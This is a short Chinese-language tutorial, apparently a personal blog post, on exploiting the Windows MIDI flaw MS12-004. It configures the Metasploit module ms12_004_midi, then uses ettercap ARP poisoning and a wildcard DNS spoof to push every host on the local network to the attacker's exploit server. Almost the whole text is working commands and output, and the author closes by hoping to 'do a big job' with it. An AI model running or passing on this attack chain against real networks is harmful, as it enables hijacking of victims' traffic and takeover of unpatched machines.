有关漏洞说明:http://technet.microsoft.com/zh-cn/security/bulletin/ms12-004
开始利用
msf+ettercap
#cd /opt/metasploit/msf3/
#msfconsole
msf>search ms12-004
msf > use exploit/windows/browser/ms12_004_midi
msf exploit(ms12_004_midi) > show options
Module options (exploit/windows/browser/ms12_004_midi):
Name Current Setting Required Description
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
0 Automatic
msf exploit(ms12_004_midi) > set SRVHOST 192.168.80.128 //本机IP
SRVHOST => 192.168.80.128
msf exploit(ms12_004_midi) > set SRVPORT 80 //本机端口
SRVPORT => 80
msf exploit(ms12_004_midi) > set URIPATH /
URIPATH => /
msf exploit(ms12_004_midi) > exploit -j //在配置ettercap后到这一步
配置ettercap
find -name ettercap
./usr/local/lib/ettercap
./usr/local/bin/ettercap
./usr/local/share/ettercap
cd /usr/local/share/ettercap
nano etter.dns
加一句
- A 192.168.80.128
保存
启动:
ettercap -T -Q -i eth0 -M arp -P dns_spoof // //
回到msf
就等着没有安装或者杀毒软件较弱的系统上线了.
结束
学习BT5下的攻击有一段时间了,
自己感觉吧,没做过几次成功的攻击,可能是技术不到位吧,
一般在学习过程中都是自己搭建环境来测试.
希望有机会能使用这个强大的系统干一票大的.